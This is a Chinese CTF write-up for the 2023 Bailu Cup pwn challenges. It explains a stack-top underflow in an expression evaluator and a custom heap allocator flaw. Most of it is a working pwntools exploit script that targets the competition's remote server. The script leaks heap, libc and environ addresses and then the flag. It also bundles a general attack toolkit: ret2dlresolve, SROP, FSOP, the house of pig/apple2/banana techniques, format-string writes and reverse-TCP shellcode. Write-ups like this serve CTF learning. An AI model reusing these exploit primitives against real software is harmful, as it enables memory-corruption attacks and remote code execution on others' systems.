2023柏鹭杯pwn wp

PWN

博客

eval

漏洞点

对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点

+200/2+(target_offset - 100)

这样输入即可将栈顶迁移到任意位置

难点

需要逆向整个模拟栈的结构

可以配合动态调试得出模拟栈结构

addr+0 0

addr+1 符号位

addr+2 0

addr+3 栈顶偏移

addr+4 第一个数

addr+5 第二个数

通过处理符号进行运算的时候,会导致addr+3 -= 1,将原本应该填在addr+4的数填在了addr+3即可完全控制offset,进而控制任意位置读写

heap

漏洞点

对小堆块(≤0x80)大小的堆块管理有问题,没有进行pre位置(+0x18)的有效校验,进而可以控制任意位置读写,但要注意会写入0x28的头部

远程FLAG加载进了环境变量位置,通过泄露_IO_2_1_stdout_(bss区)获得libcv版本,再申请libc中__environ处,判断是否能泄露出0x7fffxxxxxx的值判断合适的libc版本,最后申请到存储环境变量字符串处的内存,然后多次尝试泄露出FLAG环境变量的值即可。(RIP挟持不了,栈内距离小于0x28,申请会覆盖上个返回地址,导致Segment fault)

难点

需要逆向整个他自己写的malloc和free函数以及堆块结构,比较复杂,逆了老半天,感觉在看源码 🤨

EXP

需要进行多次操作(4次)比较复杂

from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

# context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "./libs/libc6_2.31-0ubuntu9.10_amd64.so"
remote_ip = "8.130.115.205"
remote_port = "20199"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
    p = remote(remote_ip, remote_port)
else:
    p = process(filename)

def bpp():
    gdb.attach(p)
    pause()

def log(x):
    print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

def orw_shellcode():
    payload=shellcraft.open('./flag')
    payload+=shellcraft.read(3,'./flag',100)
    payload+=shellcraft.write(1,'./flag',100)
    payload=asm(payload)
    return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
    payload = p64(part1)    # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0)    # rbx be 0x0
    payload += p64(1)    # rbp be 0x1
    payload += p64(jmp2)    # r12 jump to
    payload += p64(arg3)    # r13 -> rdx    arg3
    payload += p64(arg2)    # r14 -> rsi    arg2
    payload += p64(arg1)    # r15 -> edi    arg1
    payload += p64(part2)    # part2 entry will call [r12 + rbx * 0x8]
    payload += b'A' * 56    # junk 6 * 8 + 8 = 56
    return payload

def leak():
    leak_dat = ru("\x7f")[-6:]
    return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
    for i in range(8):
        if (target&0xff) != 0:
            if i != 0:
                sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
                sleep(0.05)
            sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
            sleep(0.05)
            target >>= 8
    sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
    for i in range(4):
        if (target&0xffff) != 0:
            if i != 0:
                sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
                sleep(0.05)
            sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
            sleep(0.05)
            target >>= 16
    sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
    signframe = SigreturnFrame()
    signframe.rax = constants.SYS_execve
    signframe.rdi = rdi
    signframe.rsi = 0x0
    signframe.rdx = 0x0
    signframe.rsp = rsp
    signframe.rip = rip
    return bytes(signframe)

def FSOP(fake_vtable_addr):
    # only in glibc 2.23 
    # 2.23+ vtable有范围校验 此时不如别的打法好打
    # 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
    fake_IO_FILE.vtable = fake_vtable_addr
    IO_FILE = bytes(fake_IO_FILE)
    return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
    # 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
    # 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free  /||gadget
    # 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
    """
    #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
    char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base 
	size_t old_blen = _IO_blen (fp);
	size_t new_size = 2 * old_blen + 100;
    new_buf = malloc (new_size); # 计算好申请出来
    memcpy (new_buf, old_buf, old_blen); #覆盖(
	free (old_buf);
    """
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.vtable = _IO_str_jumps
    fake_IO_FILE._IO_buf_base = bin_addr
    fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
    fake_IO_FILE._IO_save_base = system_addr
    fake_IO_FILE._IO_backup_base = system_addr
    return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
    """
    调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
    _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为  sh;,注意前面有两个空格
    """
    # main
    from pwncli import IO_FILE_plus_struct
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x68732020
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_ptr = 1
    fake_IO_FILE._IO_write_base = 0
    fake_IO_FILE.vtable = _IO_wfile_jumps
    fake_IO_FILE._wide_data = wide_data_entry
    fake_IO_FILE = bytes(fake_IO_FILE)
    # wide_data 这里只要控制vtable即可
    pad = p64(0) * 36
    pad += p64(wide_data_vtable_entry)
    # wide_data_vtable
    """_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
    payload = p64(RIP)*0x10
    return (fake_IO_FILE, pad, payload)

def house_of_banana(fake_addr, l_next, gadget, count):
    fake_content = p64(0) + p64(0) # l_addr keep zero to array
    fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
    fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content += p64(0x8) # check 3
    fake_content = fake_content.ljust(0x48, b'\x00')
    fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
    fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
    fake_content += gadget # reverse_gadget
    fake_content = fake_content.ljust(0x110, b'\x00')
    fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
    fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
    fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
    fake_content += p64(0x1c) # check 2 to l_init_called
    return fake_content

"""pwncli"""
def reverse_tcp():
    from pwncli import ShellcodeMall
    reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
    return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

prefix = "4. show"

def add(size):
    sla(prefix, b'1')
    sla("size: ", str(size))

def delete(index):
    sla(prefix, b'2')
    sla("index: ", str(index))

def edit(index, payload):
    sla(prefix, b'3')
    sla("index: ", str(index))
    sa("data: ", payload)

def show(index):
    sla(prefix, b'4')
    sla("index: ", str(index))

def exit():
    sla(prefix, b'5')

add(0x20)
add(0x500)
add(0x500)
add(0x20)

delete(1)
delete(2)

edit(0, b'a'*0x31)
show(0)

magic = u64(rl()[-7 -8 +1:-1-8+2].rjust(8, b'\x00'))
log(hex(magic))
# bpp()

edit(0, b'a'*0x40)
show(0)

leak_heap = leak()
log(hex(leak_heap))

heap_base = leak_heap - 0x590
log(hex(heap_base))

edit(0, b'a'*0x48)
show(0)
leak_elf = rl()
log((leak_elf))

leak_elf = ((u64(leak_elf[-7:-1].ljust(8, b'\x00'))))
log(hex(leak_elf))

elf_base = leak_elf - (0x564a5b203060 - 0x564a5b000000)
log(hex(elf_base))

edit(0, flat([
    b'a'*0x30,
    magic,
    p64(0x510aaaaaaaa),
    leak_heap,
    leak_elf,
]))

add(0x600)
add(0x20)
delete(1)
delete(0)
delete(2)
delete(3)

""""""
add(0x20)
add(0x40)
add(0x60)
add(0x20)
add(0x20)
add(0x20)
delete(4)
delete(3)
edit(2, flat([
    b'a'*0x71
]))

show(2)

magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(2, flat([
    b'a'*0x70,
    magic,
    p64(0x30aaaaaaaa),
    heap_base + 0x1248,
    elf_base + 0x203078
]))

add(0x60)
add(0x50)

show(4)
leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - libc.sym['_IO_2_1_stdout_']

log(hex(libc_base))
environ = libc_base + libc.sym['__environ']
log(hex(environ))

add(0x80) # 6
add(0x60)# 7
add(0x20) # 8
delete(7)
edit(6, flat([
    b'a'*0x91
]))

show(6)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(6, flat([
    b'a'*0x90,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x1448,
    environ - 0x28
]))

add(0x60)
add(0x60)

log(hex(environ))

show(9)
raw = leak()
log(hex(raw))

backdoor = elf_base + 0xEAD
ret_addr = raw - (0x7ffca6599568 - 0x7ffca6599448) + 0xf0 -0xd0
log(hex(ret_addr))

add(0x60) #10
add(0x60) #11
add(0x20)
delete(11)

edit(10, flat([
    b'a'*0x71
]))

show(10)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(10, flat([
    b'a'*0x70,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x15d0,
    raw - 0x28 - 0x28
]))

add(0x60)

log(hex(raw))
add(0x60)

# add(0x60)
# bpp()

edit(13, flat([
    b'a'*0x18
]))

show(13)

flag_path = leak()
log(hex(flag_path))

"""final"""

add(0x60) #14
add(0x60) #15
add(0x20)
delete(15)

edit(14, flat([
    b'a'*0x71
]))

show(14)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))

edit(14, flat([
    b'a'*0x70,
    magic,
    p64(0x70aaaaaaaa),
    heap_base + 0x15d0,
    flag_path - 0x28 + 0x30 + 100
]))

add(0x60)
# bpp()
add(0x60) ###

show(17)
# raw = rl()
# log(raw)
# bpp()
# bpp()

ia()

"""
E=/root
abb1
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

flag{ISEC-f140f382117c6c52cb3a3221e747e530}
"""

热门相关:我是仙凡   宠物小精灵之庭树   慕少,你老婆又重生了   楚氏赘婿   我是仙凡